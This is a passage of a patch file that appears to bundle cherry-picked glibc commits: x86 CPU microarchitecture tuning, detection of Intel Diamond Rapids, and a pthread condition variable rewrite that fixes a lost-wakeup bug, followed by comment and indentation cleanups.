++	  /* Unaligned load versions are faster than SSSE3
++	     on Airmont, Silvermont, Goldmont, and Goldmont Plus.  */
++	case INTEL_ATOM_AIRMONT:
++	case INTEL_ATOM_SILVERMONT:
++	case INTEL_ATOM_GOLDMONT:
++	case INTEL_ATOM_GOLDMONT_PLUS:
++
++	  /* Knights Landing.  Enable Silvermont optimizations.  */
++	case INTEL_KNIGHTS_LANDING:
++
++	  cpu_features->preferred[index_arch_Fast_Unaligned_Load]
++	    |= (bit_arch_Fast_Unaligned_Load
++		| bit_arch_Fast_Unaligned_Copy
++		| bit_arch_Prefer_PMINUB_for_stringop
++		| bit_arch_Slow_SSE4_2);
++	  break;
++
++	case INTEL_ATOM_TREMONT:
++	  /* Enable rep string instructions, unaligned load, unaligned
++	     copy, pminub and avoid SSE 4.2 on Tremont.  */
++	  cpu_features->preferred[index_arch_Fast_Rep_String]
++	    |= (bit_arch_Fast_Rep_String
++		| bit_arch_Fast_Unaligned_Load
++		| bit_arch_Fast_Unaligned_Copy
++		| bit_arch_Prefer_PMINUB_for_stringop
++		| bit_arch_Slow_SSE4_2);
++	  break;
++
++	  /*
++	     Default tuned Knights microarch.
++	     case INTEL_KNIGHTS_MILL:
++	     */
++
++	  /*
++	     Default tuned atom microarch.
++	     case INTEL_ATOM_SIERRAFOREST:
++	     case INTEL_ATOM_GRANDRIDGE:
++	     case INTEL_ATOM_CLEARWATERFOREST:
++	     */
++
++	  /* Bigcore/Default Tuning.  */
++	default:
++	default_tuning:
++	  /* Unknown Intel processors.  Assuming this is one of Core
++	     i3/i5/i7 processors if AVX is available.  */
++	  if (!CPU_FEATURES_CPU_P (cpu_features, AVX))
++	    break;
++
++	enable_modern_features:
++	  /* Rep string instructions, unaligned load, unaligned copy,
++	     and pminub are fast on Intel Core i3, i5 and i7.  */
++	  cpu_features->preferred[index_arch_Fast_Rep_String]
++	    |= (bit_arch_Fast_Rep_String
++		| bit_arch_Fast_Unaligned_Load
++		| bit_arch_Fast_Unaligned_Copy
++		| bit_arch_Prefer_PMINUB_for_stringop);
++	  break;
++
++	case INTEL_BIGCORE_NEHALEM:
++	case INTEL_BIGCORE_WESTMERE:
++	  /* Older CPUs prefer non-temporal stores at lower threshold.  */
++	  cpu_features->cachesize_non_temporal_divisor = 8;
++	  goto enable_modern_features;
++
++	  /* Older Bigcore microarch (smaller non-temporal store
++	     threshold).  */
++	case INTEL_BIGCORE_SANDYBRIDGE:
++	case INTEL_BIGCORE_IVYBRIDGE:
++	case INTEL_BIGCORE_HASWELL:
++	case INTEL_BIGCORE_BROADWELL:
++	  cpu_features->cachesize_non_temporal_divisor = 8;
++	  goto default_tuning;
++
++	  /* Newer Bigcore microarch (larger non-temporal store
++	     threshold).  */
++	case INTEL_BIGCORE_SKYLAKE_AVX512:
++	case INTEL_BIGCORE_CANNONLAKE:
++	  /* Benchmarks indicate non-temporal memset is not
++	     necessarily profitable on SKX (and in some cases much
++	     worse). This is likely unique to SKX due to its unique
++	     mesh interconnect (not present on ICX or BWD). Disable
++	     non-temporal on all Skylake servers. */
++	  cpu_features->preferred[index_arch_Avoid_Non_Temporal_Memset]
++	    |= bit_arch_Avoid_Non_Temporal_Memset;
++	  /* fallthrough */
++	case INTEL_BIGCORE_COMETLAKE:
++	case INTEL_BIGCORE_SKYLAKE:
++	case INTEL_BIGCORE_KABYLAKE:
++	case INTEL_BIGCORE_ICELAKE:
++	case INTEL_BIGCORE_TIGERLAKE:
++	case INTEL_BIGCORE_ROCKETLAKE:
++	case INTEL_BIGCORE_RAPTORLAKE:
++	case INTEL_BIGCORE_METEORLAKE:
++	case INTEL_BIGCORE_LUNARLAKE:
++	case INTEL_BIGCORE_ARROWLAKE:
++	case INTEL_BIGCORE_PANTHERLAKE:
++	case INTEL_BIGCORE_SAPPHIRERAPIDS:
++	case INTEL_BIGCORE_EMERALDRAPIDS:
++	case INTEL_BIGCORE_GRANITERAPIDS:
++	  /* Default tuned Mixed (bigcore + atom SOC). */
++	case INTEL_MIXED_LAKEFIELD:
++	case INTEL_MIXED_ALDERLAKE:
++	  cpu_features->cachesize_non_temporal_divisor = 2;
++	  goto default_tuning;
++	}
+ 
+       /* Since AVX512ER is unique to Xeon Phi, set Prefer_No_VZEROUPPER
+          if AVX512ER is available.  Don't use AVX512 to avoid lower CPU
+
+commit d8a1a1aef7a58b991505b9a1349a40736dec3abf
+Author: H.J. Lu <hjl.tools@gmail.com>
+Date:   Sat Apr 12 08:37:29 2025 -0700
+
+    x86: Detect Intel Diamond Rapids
+    
+    Detect Intel Diamond Rapids and tune it similar to Intel Granite Rapids.
+    
+    Signed-off-by: H.J. Lu <hjl.tools@gmail.com>
+    Reviewed-by: Sunil K Pandey <skpgkp2@gmail.com>
+    (cherry picked from commit de14f1959ee5f9b845a7cae43bee03068b8136f0)
+
+diff --git a/sysdeps/x86/cpu-features.c b/sysdeps/x86/cpu-features.c
+index 1a6e694abf..52a2f03bdd 100644
+--- a/sysdeps/x86/cpu-features.c
++++ b/sysdeps/x86/cpu-features.c
+@@ -542,6 +542,7 @@ enum intel_microarch
+   INTEL_BIGCORE_ARROWLAKE,
+   INTEL_BIGCORE_PANTHERLAKE,
+   INTEL_BIGCORE_GRANITERAPIDS,
++  INTEL_BIGCORE_DIAMONDRAPIDS,
+ 
+   /* Mixed (bigcore + atom SOC).  */
+   INTEL_MIXED_LAKEFIELD,
+@@ -817,6 +818,16 @@ disable_tsx:
+ 	      break;
+ 	    }
+ 	}
++      else if (family == 19)
++	switch (model)
++	  {
++	  case 0x01:
++	    microarch = INTEL_BIGCORE_DIAMONDRAPIDS;
++	    break;
++
++	  default:
++	    break;
++	  }
+ 
+       switch (microarch)
+ 	{
+@@ -926,6 +937,7 @@ disable_tsx:
+ 	case INTEL_BIGCORE_SAPPHIRERAPIDS:
+ 	case INTEL_BIGCORE_EMERALDRAPIDS:
+ 	case INTEL_BIGCORE_GRANITERAPIDS:
++	case INTEL_BIGCORE_DIAMONDRAPIDS:
+ 	  /* Default tuned Mixed (bigcore + atom SOC). */
+ 	case INTEL_MIXED_LAKEFIELD:
+ 	case INTEL_MIXED_ALDERLAKE:
+
+commit 736e6735053f12181d3d287898dd5fdb9e8baf59
+Author: Frank Barrus <frankbarrus_sw@shaggy.cc>
+Date:   Wed Dec 4 07:55:02 2024 -0500
+
+    pthreads NPTL: lost wakeup fix 2
+    
+    This fixes the lost wakeup (from a bug in signal stealing) with a change
+    in the usage of g_signals[] in the condition variable internal state.
+    It also completely eliminates the concept and handling of signal stealing,
+    as well as the need for signalers to block to wait for waiters to wake
+    up every time there is a G1/G2 switch.  This greatly reduces the average
+    and maximum latency for pthread_cond_signal.
+    
+    The g_signals[] field now contains a signal count that is relative to
+    the current g1_start value.  Since it is a 32-bit field, and the LSB is
+    still reserved (though not currently used anymore), it has a 31-bit value
+    that corresponds to the low 31 bits of the sequence number in g1_start.
+    (since g1_start also has an LSB flag, this means bits 31:1 in g_signals
+    correspond to bits 31:1 in g1_start, plus the current signal count)
+    
+    By making the signal count relative to g1_start, there is no longer
+    any ambiguity or A/B/A issue, and thus any checks before blocking,
+    including the futex call itself, are guaranteed not to block if the G1/G2
+    switch occurs, even if the signal count remains the same.  This allows
+    initially safely blocking in G2 until the switch to G1 occurs, and
+    then transitioning from G1 to a new G1 or G2, and always being able to
+    distinguish the state change.  This removes the race condition and A/B/A
+    problems that otherwise ocurred if a late (pre-empted) waiter were to
+    resume just as the futex call attempted to block on g_signal since
+    otherwise there was no last opportunity to re-check things like whether
+    the current G1 group was already closed.
+    
+    By fixing these issues, the signal stealing code can be eliminated,
+    since there is no concept of signal stealing anymore.  The code to block
+    for all waiters to exit g_refs can also be removed, since any waiters
+    that are still in the g_refs region can be guaranteed to safely wake
+    up and exit.  If there are still any left at this time, they are all
+    sent one final futex wakeup to ensure that they are not blocked any
+    longer, but there is no need for the signaller to block and wait for
+    them to wake up and exit the g_refs region.
+    
+    The signal count is then effectively "zeroed" but since it is now
+    relative to g1_start, this is done by advancing it to a new value that
+    can be observed by any pending blocking waiters.  Any late waiters can
+    always tell the difference, and can thus just cleanly exit if they are
+    in a stale G1 or G2.  They can never steal a signal from the current
+    G1 if they are not in the current G1, since the signal value that has
+    to match in the cmpxchg has the low 31 bits of the g1_start value
+    contained in it, and that's first checked, and then it won't match if
+    there's a G1/G2 change.
+    
+    Note: the 31-bit sequence number used in g_signals is designed to
+    handle wrap-around when checking the signal count, but if the entire
+    31-bit wraparound (2 billion signals) occurs while there is still a
+    late waiter that has not yet resumed, and it happens to then match
+    the current g1_start low bits, and the pre-emption occurs after the
+    normal "closed group" checks (which are 64-bit) but then hits the
+    futex syscall and signal consuming code, then an A/B/A issue could
+    still result and cause an incorrect assumption about whether it
+    should block.  This particular scenario seems unlikely in practice.
+    Note that once awake from the futex, the waiter would notice the
+    closed group before consuming the signal (since that's still a 64-bit
+    check that would not be aliased in the wrap-around in g_signals),
+    so the biggest impact would be blocking on the futex until the next
+    full wakeup from a G1/G2 switch.
+    
+    Signed-off-by: Frank Barrus <frankbarrus_sw@shaggy.cc>
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit 1db84775f831a1494993ce9c118deaf9537cc50a)
+
+diff --git a/nptl/pthread_cond_common.c b/nptl/pthread_cond_common.c
+index 3487557bb8..4855b8899f 100644
+--- a/nptl/pthread_cond_common.c
++++ b/nptl/pthread_cond_common.c
+@@ -201,7 +201,6 @@ static bool __attribute__ ((unused))
+ __condvar_quiesce_and_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+     unsigned int *g1index, int private)
+ {
+-  const unsigned int maxspin = 0;
+   unsigned int g1 = *g1index;
+ 
+   /* If there is no waiter in G2, we don't do anything.  The expression may
+@@ -222,84 +221,46 @@ __condvar_quiesce_and_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+      * New waiters arriving concurrently with the group switching will all go
+        into G2 until we atomically make the switch.  Waiters existing in G2
+        are not affected.
+-     * Waiters in G1 will be closed out immediately by setting a flag in
+-       __g_signals, which will prevent waiters from blocking using a futex on
+-       __g_signals and also notifies them that the group is closed.  As a
+-       result, they will eventually remove their group reference, allowing us
+-       to close switch group roles.  */
+-
+-  /* First, set the closed flag on __g_signals.  This tells waiters that are
+-     about to wait that they shouldn't do that anymore.  This basically
+-     serves as an advance notification of the upcoming change to __g1_start;
+-     waiters interpret it as if __g1_start was larger than their waiter
+-     sequence position.  This allows us to change __g1_start after waiting
+-     for all existing waiters with group references to leave, which in turn
+-     makes recovery after stealing a signal simpler because it then can be
+-     skipped if __g1_start indicates that the group is closed (otherwise,
+-     we would have to recover always because waiters don't know how big their
+-     groups are).  Relaxed MO is fine.  */
+-  atomic_fetch_or_relaxed (cond->__data.__g_signals + g1, 1);
+-
+-  /* Wait until there are no group references anymore.  The fetch-or operation
+-     injects us into the modification order of __g_refs; release MO ensures
+-     that waiters incrementing __g_refs after our fetch-or see the previous
+-     changes to __g_signals and to __g1_start that had to happen before we can
+-     switch this G1 and alias with an older group (we have two groups, so
+-     aliasing requires switching group roles twice).  Note that nobody else
+-     can have set the wake-request flag, so we do not have to act upon it.
+-
+-     Also note that it is harmless if older waiters or waiters from this G1
+-     get a group reference after we have quiesced the group because it will
+-     remain closed for them either because of the closed flag in __g_signals
+-     or the later update to __g1_start.  New waiters will never arrive here
+-     but instead continue to go into the still current G2.  */
+-  unsigned r = atomic_fetch_or_release (cond->__data.__g_refs + g1, 0);
+-  while ((r >> 1) > 0)
+-    {
+-      for (unsigned int spin = maxspin; ((r >> 1) > 0) && (spin > 0); spin--)
+-	{
+-	  /* TODO Back off.  */
+-	  r = atomic_load_relaxed (cond->__data.__g_refs + g1);
+-	}
+-      if ((r >> 1) > 0)
+-	{
+-	  /* There is still a waiter after spinning.  Set the wake-request
+-	     flag and block.  Relaxed MO is fine because this is just about
+-	     this futex word.
+-
+-	     Update r to include the set wake-request flag so that the upcoming
+-	     futex_wait only blocks if the flag is still set (otherwise, we'd
+-	     violate the basic client-side futex protocol).  */
+-	  r = atomic_fetch_or_relaxed (cond->__data.__g_refs + g1, 1) | 1;
+-
+-	  if ((r >> 1) > 0)
+-	    futex_wait_simple (cond->__data.__g_refs + g1, r, private);
+-	  /* Reload here so we eventually see the most recent value even if we
+-	     do not spin.   */
+-	  r = atomic_load_relaxed (cond->__data.__g_refs + g1);
+-	}
+-    }
+-  /* Acquire MO so that we synchronize with the release operation that waiters
+-     use to decrement __g_refs and thus happen after the waiters we waited
+-     for.  */
+-  atomic_thread_fence_acquire ();
++     * Waiters in G1 will be closed out immediately by the advancing of
++       __g_signals to the next "lowseq" (low 31 bits of the new g1_start),
++       which will prevent waiters from blocking using a futex on
++       __g_signals since it provides enough signals for all possible
++       remaining waiters.  As a result, they can each consume a signal
++       and they will eventually remove their group reference.  */
+ 
+   /* Update __g1_start, which finishes closing this group.  The value we add
+      will never be negative because old_orig_size can only be zero when we
+      switch groups the first time after a condvar was initialized, in which
+-     case G1 will be at index 1 and we will add a value of 1.  See above for
+-     why this takes place after waiting for quiescence of the group.
++     case G1 will be at index 1 and we will add a value of 1.
+      Relaxed MO is fine because the change comes with no additional
+      constraints that others would have to observe.  */
+   __condvar_add_g1_start_relaxed (cond,
+       (old_orig_size << 1) + (g1 == 1 ? 1 : - 1));
+ 
+-  /* Now reopen the group, thus enabling waiters to again block using the
+-     futex controlled by __g_signals.  Release MO so that observers that see
+-     no signals (and thus can block) also see the write __g1_start and thus
+-     that this is now a new group (see __pthread_cond_wait_common for the
+-     matching acquire MO loads).  */
+-  atomic_store_release (cond->__data.__g_signals + g1, 0);
++  unsigned int lowseq = ((old_g1_start + old_orig_size) << 1) & ~1U;
++
++  /* If any waiters still hold group references (and thus could be blocked),
++     then wake them all up now and prevent any running ones from blocking.
++     This is effectively a catch-all for any possible current or future
++     bugs that can allow the group size to reach 0 before all G1 waiters
++     have been awakened or at least given signals to consume, or any
++     other case that can leave blocked (or about to block) older waiters..  */
++  if ((atomic_fetch_or_release (cond->__data.__g_refs + g1, 0) >> 1) > 0)
++   {
++    /* First advance signals to the end of the group (i.e. enough signals
++       for the entire G1 group) to ensure that waiters which have not
++       yet blocked in the futex will not block.
++       Note that in the vast majority of cases, this should never
++       actually be necessary, since __g_signals will have enough
++       signals for the remaining g_refs waiters.  As an optimization,
++       we could check this first before proceeding, although that
++       could still leave the potential for futex lost wakeup bugs
++       if the signal count was non-zero but the futex wakeup
++       was somehow lost.  */
++    atomic_store_release (cond->__data.__g_signals + g1, lowseq);
++
++    futex_wake (cond->__data.__g_signals + g1, INT_MAX, private);
++   }
+ 
+   /* At this point, the old G1 is now a valid new G2 (but not in use yet).
+      No old waiter can neither grab a signal nor acquire a reference without
+@@ -311,6 +272,10 @@ __condvar_quiesce_and_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+   g1 ^= 1;
+   *g1index ^= 1;
+ 
++  /* Now advance the new G1 g_signals to the new lowseq, giving it
++     an effective signal count of 0 to start.  */
++  atomic_store_release (cond->__data.__g_signals + g1, lowseq);
++
+   /* These values are just observed by signalers, and thus protected by the
+      lock.  */
+   unsigned int orig_size = wseq - (old_g1_start + old_orig_size);
+diff --git a/nptl/pthread_cond_wait.c b/nptl/pthread_cond_wait.c
+index 66786c7b90..3d290e39c8 100644
+--- a/nptl/pthread_cond_wait.c
++++ b/nptl/pthread_cond_wait.c
+@@ -238,9 +238,7 @@ __condvar_cleanup_waiting (void *arg)
+    signaled), and a reference count.
+ 
+    The group reference count is used to maintain the number of waiters that
+-   are using the group's futex.  Before a group can change its role, the
+-   reference count must show that no waiters are using the futex anymore; this
+-   prevents ABA issues on the futex word.
++   are using the group's futex.
+ 
+    To represent which intervals in the waiter sequence the groups cover (and
+    thus also which group slot contains G1 or G2), we use a 64b counter to
+@@ -300,11 +298,12 @@ __condvar_cleanup_waiting (void *arg)
+        last reference.
+      * Reference count used by waiters concurrently with signalers that have
+        acquired the condvar-internal lock.
+-   __g_signals: The number of signals that can still be consumed.
++   __g_signals: The number of signals that can still be consumed, relative to
++     the current g1_start.  (i.e. bits 31 to 1 of __g_signals are bits
++     31 to 1 of g1_start with the signal count added)
+      * Used as a futex word by waiters.  Used concurrently by waiters and
+        signalers.
+-     * LSB is true iff this group has been completely signaled (i.e., it is
+-       closed).
++     * LSB is currently reserved and 0.
+    __g_size: Waiters remaining in this group (i.e., which have not been
+      signaled yet.
+      * Accessed by signalers and waiters that cancel waiting (both do so only
+@@ -328,18 +327,6 @@ __condvar_cleanup_waiting (void *arg)
+    sufficient because if a waiter can see a sufficiently large value, it could
+    have also consume a signal in the waiters group.
+ 
+-   Waiters try to grab a signal from __g_signals without holding a reference
+-   count, which can lead to stealing a signal from a more recent group after
+-   their own group was already closed.  They cannot always detect whether they
+-   in fact did because they do not know when they stole, but they can
+-   conservatively add a signal back to the group they stole from; if they
+-   did so unnecessarily, all that happens is a spurious wake-up.  To make this
+-   even less likely, __g1_start contains the index of the current g2 too,
+-   which allows waiters to check if there aliasing on the group slots; if
+-   there wasn't, they didn't steal from the current G1, which means that the
+-   G1 they stole from must have been already closed and they do not need to
+-   fix anything.
+-
+    It is essential that the last field in pthread_cond_t is __g_signals[1]:
+    The previous condvar used a pointer-sized field in pthread_cond_t, so a
+    PTHREAD_COND_INITIALIZER from that condvar implementation might only
+@@ -435,6 +422,9 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+     {
+       while (1)
+ 	{
++          uint64_t g1_start = __condvar_load_g1_start_relaxed (cond);
++          unsigned int lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
++
+ 	  /* Spin-wait first.
+ 	     Note that spinning first without checking whether a timeout
+ 	     passed might lead to what looks like a spurious wake-up even
+@@ -446,35 +436,45 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	     having to compare against the current time seems to be the right
+ 	     choice from a performance perspective for most use cases.  */
+ 	  unsigned int spin = maxspin;
+-	  while (signals == 0 && spin > 0)
++	  while (spin > 0 && ((int)(signals - lowseq) < 2))
+ 	    {
+ 	      /* Check that we are not spinning on a group that's already
+ 		 closed.  */
+-	      if (seq < (__condvar_load_g1_start_relaxed (cond) >> 1))
+-		goto done;
++	      if (seq < (g1_start >> 1))
++		break;
+ 
+ 	      /* TODO Back off.  */
+ 
+ 	      /* Reload signals.  See above for MO.  */
+ 	      signals = atomic_load_acquire (cond->__data.__g_signals + g);
++              g1_start = __condvar_load_g1_start_relaxed (cond);
++              lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
+ 	      spin--;
+ 	    }
+ 
+-	  /* If our group will be closed as indicated by the flag on signals,
+-	     don't bother grabbing a signal.  */
+-	  if (signals & 1)
+-	    goto done;
+-
+-	  /* If there is an available signal, don't block.  */
+-	  if (signals != 0)
++          if (seq < (g1_start >> 1))
++	    {
++              /* If the group is closed already,
++	         then this waiter originally had enough extra signals to
++	         consume, up until the time its group was closed.  */
++	       goto done;
++            }
++
++	  /* If there is an available signal, don't block.
++             If __g1_start has advanced at all, then we must be in G1
++	     by now, perhaps in the process of switching back to an older
++	     G2, but in either case we're allowed to consume the available
++	     signal and should not block anymore.  */
++	  if ((int)(signals - lowseq) >= 2)
+ 	    break;
+ 
+ 	  /* No signals available after spinning, so prepare to block.
+ 	     We first acquire a group reference and use acquire MO for that so
+ 	     that we synchronize with the dummy read-modify-write in
+ 	     __condvar_quiesce_and_switch_g1 if we read from that.  In turn,
+-	     in this case this will make us see the closed flag on __g_signals
+-	     that designates a concurrent attempt to reuse the group's slot.
++	     in this case this will make us see the advancement of __g_signals
++	     to the upcoming new g1_start that occurs with a concurrent
++	     attempt to reuse the group's slot.
+ 	     We use acquire MO for the __g_signals check to make the
+ 	     __g1_start check work (see spinning above).
+ 	     Note that the group reference acquisition will not mask the
+@@ -482,15 +482,24 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	     an atomic read-modify-write operation and thus extend the release
+ 	     sequence.  */
+ 	  atomic_fetch_add_acquire (cond->__data.__g_refs + g, 2);
+-	  if (((atomic_load_acquire (cond->__data.__g_signals + g) & 1) != 0)
+-	      || (seq < (__condvar_load_g1_start_relaxed (cond) >> 1)))
++	  signals = atomic_load_acquire (cond->__data.__g_signals + g);
++          g1_start = __condvar_load_g1_start_relaxed (cond);
++          lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
++
++          if (seq < (g1_start >> 1))
+ 	    {
+-	      /* Our group is closed.  Wake up any signalers that might be
+-		 waiting.  */
++              /* group is closed already, so don't block */
+ 	      __condvar_dec_grefs (cond, g, private);
+ 	      goto done;
+ 	    }
+ 
++	  if ((int)(signals - lowseq) >= 2)
++	    {
++	      /* a signal showed up or G1/G2 switched after we grabbed the refcount */
++	      __condvar_dec_grefs (cond, g, private);
++	      break;
++            }
++
+ 	  // Now block.
+ 	  struct _pthread_cleanup_buffer buffer;
+ 	  struct _condvar_cleanup_buffer cbuffer;
+@@ -501,7 +510,7 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	  __pthread_cleanup_push (&buffer, __condvar_cleanup_waiting, &cbuffer);
+ 
+ 	  err = __futex_abstimed_wait_cancelable64 (
+-	    cond->__data.__g_signals + g, 0, clockid, abstime, private);
++	    cond->__data.__g_signals + g, signals, clockid, abstime, private);
+ 
+ 	  __pthread_cleanup_pop (&buffer, 0);
+ 
+@@ -524,6 +533,8 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	  signals = atomic_load_acquire (cond->__data.__g_signals + g);
+ 	}
+ 
++       if (seq < (__condvar_load_g1_start_relaxed (cond) >> 1))
++	 goto done;
+     }
+   /* Try to grab a signal.  Use acquire MO so that we see an up-to-date value
+      of __g1_start below (see spinning above for a similar case).  In
+@@ -532,69 +543,6 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+   while (!atomic_compare_exchange_weak_acquire (cond->__data.__g_signals + g,
+ 						&signals, signals - 2));
+ 
+-  /* We consumed a signal but we could have consumed from a more recent group
+-     that aliased with ours due to being in the same group slot.  If this
+-     might be the case our group must be closed as visible through
+-     __g1_start.  */
+-  uint64_t g1_start = __condvar_load_g1_start_relaxed (cond);
+-  if (seq < (g1_start >> 1))
+-    {
+-      /* We potentially stole a signal from a more recent group but we do not
+-	 know which group we really consumed from.
+-	 We do not care about groups older than current G1 because they are
+-	 closed; we could have stolen from these, but then we just add a
+-	 spurious wake-up for the current groups.
+-	 We will never steal a signal from current G2 that was really intended
+-	 for G2 because G2 never receives signals (until it becomes G1).  We
+-	 could have stolen a signal from G2 that was conservatively added by a
+-	 previous waiter that also thought it stole a signal -- but given that
+-	 that signal was added unnecessarily, it's not a problem if we steal
+-	 it.
+-	 Thus, the remaining case is that we could have stolen from the current
+-	 G1, where "current" means the __g1_start value we observed.  However,
+-	 if the current G1 does not have the same slot index as we do, we did
+-	 not steal from it and do not need to undo that.  This is the reason
+-	 for putting a bit with G2's index into__g1_start as well.  */
+-      if (((g1_start & 1) ^ 1) == g)
+-	{
+-	  /* We have to conservatively undo our potential mistake of stealing
+-	     a signal.  We can stop trying to do that when the current G1
+-	     changes because other spinning waiters will notice this too and
+-	     __condvar_quiesce_and_switch_g1 has checked that there are no
+-	     futex waiters anymore before switching G1.
+-	     Relaxed MO is fine for the __g1_start load because we need to
+-	     merely be able to observe this fact and not have to observe
+-	     something else as well.
+-	     ??? Would it help to spin for a little while to see whether the
+-	     current G1 gets closed?  This might be worthwhile if the group is
+-	     small or close to being closed.  */
+-	  unsigned int s = atomic_load_relaxed (cond->__data.__g_signals + g);
+-	  while (__condvar_load_g1_start_relaxed (cond) == g1_start)
+-	    {
+-	      /* Try to add a signal.  We don't need to acquire the lock
+-		 because at worst we can cause a spurious wake-up.  If the
+-		 group is in the process of being closed (LSB is true), this
+-		 has an effect similar to us adding a signal.  */
+-	      if (((s & 1) != 0)
+-		  || atomic_compare_exchange_weak_relaxed
+-		       (cond->__data.__g_signals + g, &s, s + 2))
+-		{
+-		  /* If we added a signal, we also need to add a wake-up on
+-		     the futex.  We also need to do that if we skipped adding
+-		     a signal because the group is being closed because
+-		     while __condvar_quiesce_and_switch_g1 could have closed
+-		     the group, it might still be waiting for futex waiters to
+-		     leave (and one of those waiters might be the one we stole
+-		     the signal from, which cause it to block using the
+-		     futex).  */
+-		  futex_wake (cond->__data.__g_signals + g, 1, private);
+-		  break;
+-		}
+-	      /* TODO Back off.  */
+-	    }
+-	}
+-    }
+-
+  done:
+ 
+   /* Confirm that we have been woken.  We do that before acquiring the mutex
+
+commit 88d999d840e77c9917f08870094a23ce42294848
+Author: Malte Skarupke <malteskarupke@fastmail.fm>
+Date:   Wed Dec 4 07:55:22 2024 -0500
+
+    nptl: Update comments and indentation for new condvar implementation
+    
+    Some comments were wrong after the most recent commit. This fixes that.
+    
+    Also fixing indentation where it was using spaces instead of tabs.
+    
+    Signed-off-by: Malte Skarupke <malteskarupke@fastmail.fm>
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit 0cc973160c23bb67f895bc887dd6942d29f8fee3)
+
+diff --git a/nptl/pthread_cond_common.c b/nptl/pthread_cond_common.c
+index 4855b8899f..3475d15123 100644
+--- a/nptl/pthread_cond_common.c
++++ b/nptl/pthread_cond_common.c
+@@ -221,8 +221,9 @@ __condvar_quiesce_and_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+      * New waiters arriving concurrently with the group switching will all go
+        into G2 until we atomically make the switch.  Waiters existing in G2
+        are not affected.
+-     * Waiters in G1 will be closed out immediately by the advancing of
+-       __g_signals to the next "lowseq" (low 31 bits of the new g1_start),
++     * Waiters in G1 have already received a signal and been woken. If they
++       haven't woken yet, they will be closed out immediately by the advancing
++       of __g_signals to the next "lowseq" (low 31 bits of the new g1_start),
+        which will prevent waiters from blocking using a futex on
+        __g_signals since it provides enough signals for all possible
+        remaining waiters.  As a result, they can each consume a signal
+diff --git a/nptl/pthread_cond_wait.c b/nptl/pthread_cond_wait.c
+index 3d290e39c8..ad2cee7d59 100644
+--- a/nptl/pthread_cond_wait.c
++++ b/nptl/pthread_cond_wait.c
+@@ -249,7 +249,7 @@ __condvar_cleanup_waiting (void *arg)
+    figure out whether they are in a group that has already been completely
+    signaled (i.e., if the current G1 starts at a later position that the
+    waiter's position).  Waiters cannot determine whether they are currently
+-   in G2 or G1 -- but they do not have too because all they are interested in
++   in G2 or G1 -- but they do not have to because all they are interested in
+    is whether there are available signals, and they always start in G2 (whose
+    group slot they know because of the bit in the waiter sequence.  Signalers
+    will simply fill the right group until it is completely signaled and can
+@@ -412,7 +412,7 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+     }
+ 
+   /* Now wait until a signal is available in our group or it is closed.
+-     Acquire MO so that if we observe a value of zero written after group
++     Acquire MO so that if we observe (signals == lowseq) after group
+      switching in __condvar_quiesce_and_switch_g1, we synchronize with that
+      store and will see the prior update of __g1_start done while switching
+      groups too.  */
+@@ -422,8 +422,8 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+     {
+       while (1)
+ 	{
+-          uint64_t g1_start = __condvar_load_g1_start_relaxed (cond);
+-          unsigned int lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
++	  uint64_t g1_start = __condvar_load_g1_start_relaxed (cond);
++	  unsigned int lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
+ 
+ 	  /* Spin-wait first.
+ 	     Note that spinning first without checking whether a timeout
+@@ -447,21 +447,21 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 
+ 	      /* Reload signals.  See above for MO.  */
+ 	      signals = atomic_load_acquire (cond->__data.__g_signals + g);
+-              g1_start = __condvar_load_g1_start_relaxed (cond);
+-              lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
++	      g1_start = __condvar_load_g1_start_relaxed (cond);
++	      lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
+ 	      spin--;
+ 	    }
+ 
+-          if (seq < (g1_start >> 1))
++	  if (seq < (g1_start >> 1))
+ 	    {
+-              /* If the group is closed already,
++	      /* If the group is closed already,
+ 	         then this waiter originally had enough extra signals to
+ 	         consume, up until the time its group was closed.  */
+ 	       goto done;
+-            }
++	    }
+ 
+ 	  /* If there is an available signal, don't block.
+-             If __g1_start has advanced at all, then we must be in G1
++	     If __g1_start has advanced at all, then we must be in G1
+ 	     by now, perhaps in the process of switching back to an older
+ 	     G2, but in either case we're allowed to consume the available
+ 	     signal and should not block anymore.  */
+@@ -483,22 +483,23 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	     sequence.  */
+ 	  atomic_fetch_add_acquire (cond->__data.__g_refs + g, 2);
+ 	  signals = atomic_load_acquire (cond->__data.__g_signals + g);
+-          g1_start = __condvar_load_g1_start_relaxed (cond);
+-          lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
++	  g1_start = __condvar_load_g1_start_relaxed (cond);
++	  lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
+ 
+-          if (seq < (g1_start >> 1))
++	  if (seq < (g1_start >> 1))
+ 	    {
+-              /* group is closed already, so don't block */
++	      /* group is closed already, so don't block */
+ 	      __condvar_dec_grefs (cond, g, private);
+ 	      goto done;
+ 	    }
+ 
+ 	  if ((int)(signals - lowseq) >= 2)
+ 	    {
+-	      /* a signal showed up or G1/G2 switched after we grabbed the refcount */
++	      /* a signal showed up or G1/G2 switched after we grabbed the
++	         refcount */
